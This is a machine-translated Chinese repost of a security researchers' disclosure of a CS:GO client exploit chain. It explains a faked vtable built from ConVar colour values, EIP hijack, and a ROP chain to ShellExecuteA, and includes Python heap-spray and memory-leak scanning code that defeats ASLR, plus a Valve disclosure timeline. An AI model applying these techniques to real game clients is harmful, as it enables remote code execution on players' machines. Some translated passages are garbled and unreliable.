前面我们也提到过OOB访问对象上的虚方法后的几条指令被调用。这通过 vtable 取消引用照常发生。这是再次提醒的代码:

由于我们通过 控制对象的内容ConVar,我们可以简单地将 vtable 指针设置为任何值。为了使漏洞利用 100% 可靠,使用信息泄漏指向回控制数据的.data部分是有意义的engine.dll。
幸运的是,一些ConVars被解释为颜色值,并期望一个4字节(ř编乙略ģ颖甲lpha)值,其可以是攻击者控制。该值直接存储color_value在上述struct ConVar定义的字段中。由于 Windows 上的 CS:GO 进程是 32 位的,我们能够使用 a 的颜色值ConVar来伪造指针。
如果我们使用伪对象的vtable指针指向 的.data部分engine.dll,使得被调用的方法与 重叠color_value,我们最终可以劫持EIP寄存器并任意重定向控制流。这个解引用链可以说明如下:
随着 ASLR 被破坏并且我们获得了任意指令指针的控制,剩下要做的就是构建一个 ROP 链,最终导致我们调用ShellExecuteA执行任意系统命令。
我们在一份报告中向 Valve 的 HackerOne 程序提交了这两个错误,以及我们开发的证明 100% 可靠性的漏洞。不幸的是,在 4 个多月的时间里,我们甚至没有收到 Valve 代表的确认。在公众压力下,当 Valve 也明显忽略了其他具有类似影响的安全研究人员时,Valve 终于解决了许多安全问题。我们希望 Valve 重新构建其漏洞赏金计划,以再次吸引安全研究人员。
日期 (DD/MM/YYYY) | 什么 |
|---|---|
04.01.2021 | 在一份报告中向 Valve 的漏洞赏金计划报告了两个漏洞 |
11.01.2021 | HackerOne 分类器验证错误并对其进行分类 |
10.02.2021 | 第一次跟进,Valve 没有回应 |
23.02.2021 | 第二次跟进,Valve 没有回应 |
10.04.2021 | 通过 Twitter 披露 Bug 的存在 |
15.04.2021 | 第三次跟进,Valve无回应 |
28.04.2021 | Valve 修补了两个错误 |
在本Uninitialized memory in HTTP downloads leads to information disclosure节中,我们展示了 HTTP 下载如何允许我们在客户端的游戏进程中查看任意大小的未初始化内存块。
我们发现了另一条对我们来说似乎很有趣的消息:CSVCMsg_SendTable. 每当客户端收到这样的消息时,它就会在堆上分配一个具有攻击者控制的整数的对象。最重要的是,对象的前 4 个字节将包含一个指向engine.dll.
def spray_send_table(s, addr, nprops):
table = nmsg.CSVCMsg_SendTable()
table.is_end = False
table.net_table_name = "abctable"
table.needs_decoder = False
for _ in range(nprops):
prop = table.props.add()
prop.type = 0x1337ee00
prop.var_name = "abc"
prop.flags = 0
prop.priority = 0
prop.dt_name = "whatever"
prop.num_elements = 0
prop.low_value = 0.0
prop.high_value = 0.0
prop.num_bits = 0x00ff00ff
tosend = prepare_payload(table, 9)
s.sendto(tosend, addr)Windows 堆有点不确定。也就是说,malloc -> free -> malloc组合不会产生相同的块。值得庆幸的是,Saar Amaar 发表了他关于 Windows 堆的出色研究,我们参考了这些研究以更好地了解我们的漏洞利用上下文。
SendTable当我们将文件上传回服务器时,我们想出了一个喷雾来分配许多带有标记的对象数组以进行扫描。因为我们可以选择数组的大小,所以我们选择了一个不太常见的分配大小,以避免干扰正常的游戏代码。如果我们现在一次释放所有被喷射的数组,然后让客户端下载文件,那么其中一个文件命中先前喷射的块的机会相对较高。
在实践中,我们几乎总是在第一个文件中得到泄漏,如果没有,我们可以简单地重置连接并重试,因为我们还没有破坏程序状态。为了最大限度地成功,我们为漏洞利用创建了四个文件。这确保其中至少一个成功,否则只需再试一次。
以下代码显示了我们如何扫描接收到的内存以获取喷射对象以找到SendTable将指向engine.dll.
files_received.append(fn)
pp = packetparser.PacketParser(leak_callback)
for i in range(len(data) - 0x54):
vtable_ptr = struct.unpack('<I', data[i:i+4])[0]
table_type = struct.unpack('<I', data[i+8:i+12])[0]
table_nbits = struct.unpack('<I', data[i+12:i+16])[0]
if table_type == 0x1337ee00 and table_nbits == 0x00ff00ff:
engine_base = vtable_ptr - OFFSET_VTABLE
print(f"vtable_ptr={hex(vtable_ptr)}")
break原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。